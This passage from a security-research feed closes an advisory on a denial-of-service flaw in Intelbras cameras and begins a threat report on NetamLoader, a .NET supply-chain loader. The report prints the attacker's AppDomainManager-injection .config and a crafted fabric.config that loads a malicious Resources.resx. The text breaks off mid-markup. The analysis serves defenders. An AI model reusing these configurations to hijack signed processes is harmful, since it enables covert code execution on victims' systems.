href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8.png"><img alt="" class="aligncenter size-full wp-image-121196" decoding="async" height="803" sizes="auto, (max-width: 2048px) 100vw, 2048px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-300x118.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-1024x402.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-768x301.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-1536x602.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-893x350.png 893w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-740x290.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-714x280.png 714w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/27135231/intelbras-camera-vulnerability8-800x314.png 800w" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <h2 id="real-risk">Real risk</h2> <p>An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.</p> <p>The potential impact is significant due to the number of affected users. The <a href="https://platform.foxdata.com/en/app-profile/br.com.intelbras.mibocam/US/gp" rel="noopener" target="_blank">Intelbras Mibo Smart app</a>, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.</p> <h2 id="takeaways">Takeaways</h2> <p>This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (<a href="https://api-cronos.intelbras.com.br/download/MIBO-CAM-SD/CAMERASIM/prod/CAMERASIM-2.800.260804-2bff9ef9d4fddd76f271ff846a5c7dad.260804.zip">R.260804</a> along with <a href="https://backend.intelbras.com/sites/default/files/2026-10/Atualizacao_firmware_Cameras_im_C_cartao_sd.pdf">update instructions</a>), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.</p> </div> </div> </div> <!-- .entry-comments --> </div> </div> </div> https://securelist.com/intelbras-camera-vulnerability/121131/ cyber Wed, 28 Oct 2026 10:00:18 +0000 Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia https://securelist.com/netamloader/121676/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28210649/SL-SAS-NetamLoader-featured-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/great/"> <span>GReAT</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.</p> <p>The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.</p> <p>Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.</p> <h2 id="background">Background</h2> <p>During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed <a href="https://3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence" target="_blank">AppDomainManager injection</a> to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92b4373484451" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92b4373484451-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92b4373484451-1"><span class="crayon-v">C</span><span class="crayon-o">:</span><span class="crayon-sy">\</span><span class="crayon-v">Windows</span><span class="crayon-sy">\</span><span class="crayon-v">SoftwareDistribution</span><span class="crayon-sy">\</span><span class="crayon-v">Download</span><span class="crayon-sy">\</span><span class="crayon-v">e4537a1762fcafd2fd96bfc825bad34f9db9a24d</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.</p> <h2 id="initial-infection">Initial infection</h2> <p>The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:</p> <p><div class="wp-caption aligncenter" id="attachment_121684-2" style="width: 800px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01.png"><img alt="Files compressed in the CAB file" aria-describedby="caption-attachment-121684-2" class="size-full wp-image-121684" decoding="async" height="217" sizes="auto, (max-width: 790px) 100vw, 790px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01.png 790w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01-300x82.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01-768x211.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211641/NetamLoader-01-740x203.png 740w" title="NetamLoader-01" width="790" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121684-2">Files compressed in the CAB file</p></div><br/> Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92c4049917986" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c4049917986-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c4049917986-1"><span class="crayon-v">C</span><span class="crayon-o">:</span><span class="crayon-sy">\</span><span class="crayon-v">Windows</span><span class="crayon-sy">\</span><span class="crayon-v">SoftwareDistribution</span><span class="crayon-sy">\</span><span class="crayon-v">Download</span><span class="crayon-sy">\</span><span class="crayon-v">Install</span><span class="crayon-sy">\</span><span class="crayon-v">PatchMyPC</span><span class="crayon-o">-</span><span class="crayon-v">ScriptRunner</span><span class="crayon-sy">.</span><span class="crayon-v">exe</span><span class="crayon-h"> </span><span class="crayon-o">-</span><span class="crayon-v">updatepackage</span><span class="crayon-h"> </span><span class="crayon-o">-</span><span class="crayon-v">applicationid</span><span class="crayon-o">=</span><span class="crayon-v">xxxxxxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxx</span><span class="crayon-o">-</span><span class="crayon-v">xxxxxxxxxxxx</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>After the file is launched in this manner, the infection chain progresses to stage 1.</p> <h2 id="stage-1">Stage 1</h2> <p>Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.</p> <div class="wp-caption aligncenter" id="attachment_121683-2" style="width: 1823px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09.png"><img alt="Infection chain: Stage 1" aria-describedby="caption-attachment-121683-2" class="size-full wp-image-121683" decoding="async" height="1413" sizes="auto, (max-width: 1813px) 100vw, 1813px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09.png 1813w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-300x234.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-1024x798.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-768x599.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-1536x1197.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-449x350.png 449w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-740x577.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-359x280.png 359w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211638/NetamLoader-09-800x623.png 800w" title="NetamLoader-09" width="1813" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121683-2">Infection chain: Stage 1</p></div> <h3 id="step-1">Step 1</h3> <p>The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> &lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;configuration&gt; &lt;runtime&gt; &lt;appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"&gt; &lt;/appDomainManagerType&gt; &lt;appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"&gt; &lt;/appDomainManagerAssembly&gt; &lt;NGenAssemblyUsageLog enabled="0" /&gt; &lt;/runtime&gt; &lt;startup&gt; &lt;supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" /&gt; &lt;/startup&gt; &lt;/configuration&gt;</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-6">6</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-7">7</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-8">8</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-9">9</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-10">10</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-11">11</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-12">12</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-13">13</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c7971189514-14">14</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-1"><span class="crayon-ta">&lt;?</span><span class="crayon-e">xml </span><span class="crayon-i">version</span><span class="crayon-o">=</span><span class="crayon-s">"1.0"</span><span class="crayon-h"> </span><span class="crayon-i">encoding</span><span class="crayon-o">=</span><span class="crayon-s">"utf-8"</span><span class="crayon-h"> </span><span class="crayon-ta">?&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-2"><span class="crayon-o">&lt;</span><span class="crayon-v">configuration</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-3"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-v">runtime</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-4"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-e">appDomainManagerType  </span><span class="crayon-v">value</span><span class="crayon-o">=</span><span class="crayon-s">"Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-5"><span class="crayon-h">       </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">appDomainManagerType</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-6"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-e">appDomainManagerAssembly  </span><span class="crayon-v">value</span><span class="crayon-o">=</span><span class="crayon-s">"Microsoft.HostIntegration.Connectors, Version=1.0.0.0, </span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-7"><span class="crayon-s">                    Culture=neutral, PublicKeyToken=31bf3856ad364e35"</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-8"><span class="crayon-h">       </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">appDomainManagerAssembly</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-9"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-e">NGenAssemblyUsageLog </span><span class="crayon-v">enabled</span><span class="crayon-o">=</span><span class="crayon-s">"0"</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-10"><span class="crayon-h"> </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">runtime</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-11"><span class="crayon-h">    </span><span class="crayon-o">&lt;</span><span class="crayon-v">startup</span><span class="crayon-o">&gt;</span><span class="crayon-h"> </span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-12"><span class="crayon-h">        </span><span class="crayon-o">&lt;</span><span class="crayon-e">supportedRuntime </span><span class="crayon-v">version</span><span class="crayon-o">=</span><span class="crayon-s">"v4.0"</span><span class="crayon-h"> </span><span class="crayon-v">sku</span><span class="crayon-o">=</span><span class="crayon-s">".NETFramework,Version=v4.6"</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-13"><span class="crayon-h">    </span><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">startup</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c7971189514-14"><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">configuration</span><span class="crayon-o">&gt;</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0004 seconds] --> <p>According to the configuration file, the class <code>Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration</code> from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. <code>DataCacheFactoryConfiguration</code> is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;section name="foo"&gt; &lt;customType className="System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)" /&gt; &lt;/section&gt;</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4325dd92c9387057447-6">6</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-1"><span class="crayon-ta">&lt;?</span><span class="crayon-e">xml </span><span class="crayon-i">version</span><span class="crayon-o">=</span><span class="crayon-s">"1.0"</span><span class="crayon-h"> </span><span class="crayon-i">encoding</span><span class="crayon-o">=</span><span class="crayon-s">"utf-8"</span><span class="crayon-ta">?&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-2"><span class="crayon-o">&lt;</span><span class="crayon-e">section </span><span class="crayon-v">name</span><span class="crayon-o">=</span><span class="crayon-s">"foo"</span><span class="crayon-o">&gt;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-3"><span class="crayon-h">    </span><span class="crayon-o">&lt;</span><span class="crayon-e">customType </span><span class="crayon-v">className</span><span class="crayon-o">=</span><span class="crayon-s">"System.Resources.ResXResourceSet, System.Windows.Forms, </span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-4"><span class="crayon-s">                Version=4.0.0.0, Culture=neutral, </span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-5"><span class="crayon-s">                PublicKeyToken=b77a5c561934e089(Resources.resx)"</span><span class="crayon-h"> </span><span class="crayon-o">/</span><span class="crayon-o">&gt;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4325dd92c9387057447-6"><span class="crayon-o">&lt;</span><span class="crayon-o">/</span><span class="crayon-v">section</span><span class="crayon-o">&gt;</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0002 seconds] --> <h3 id="step-2">Step 2</h3> <p>The <code>DataCacheFactoryConfiguration</code> class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the <code>DataCacheFactoryConfiguration</code> instance examines its <code>className</code> attribute, loads the specified type (<code>System.Resources.ResXResourceSet</code> from the <code>System.Windows.Forms</code> assembly), and creates a <code>ResXResourceSet</code> instance, passing “Resources.resx” to its constructor for parsing.</p> <p>In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:</p> <div class="wp-caption aligncenter" id="attachment_121678-2" style="width: 1440px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04.png"><img alt="Multiple layers of payloads are compressed and encrypted in the .resx file" aria-describedby="caption-attachment-121678-2" class="size-full wp-image-121678" decoding="async" height="1957" sizes="auto, (max-width: 1430px) 100vw, 1430px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04.png 1430w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-219x300.png 219w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-748x1024.png 748w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-768x1051.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-1122x1536.png 1122w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-256x350.png 256w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-731x1000.png 731w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-205x280.png 205w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211605/NetamLoader-04-658x900.png 658w" title="NetamLoader-04" width="1430" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121678-2">Multiple layers of payloads are compressed and encrypted in the .resx file</p></div> <p>The <a href="https://learn.microsoft.com/en-us/dotnet/core/extensions/create-resource-files#resources-in-resx-files" target="_blank">Microsoft RESX schema</a> defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.</p> <div class="wp-caption aligncenter" id="attachment_121682-2" style="width: 962px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08.png"><img alt="Base64-encoded serialized binary object in Resources.resx" aria-describedby="caption-attachment-121682-2" class="size-full wp-image-121682" decoding="async" height="97" sizes="auto, (max-width: 952px) 100vw, 952px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/28211629/NetamLoader-08.png" 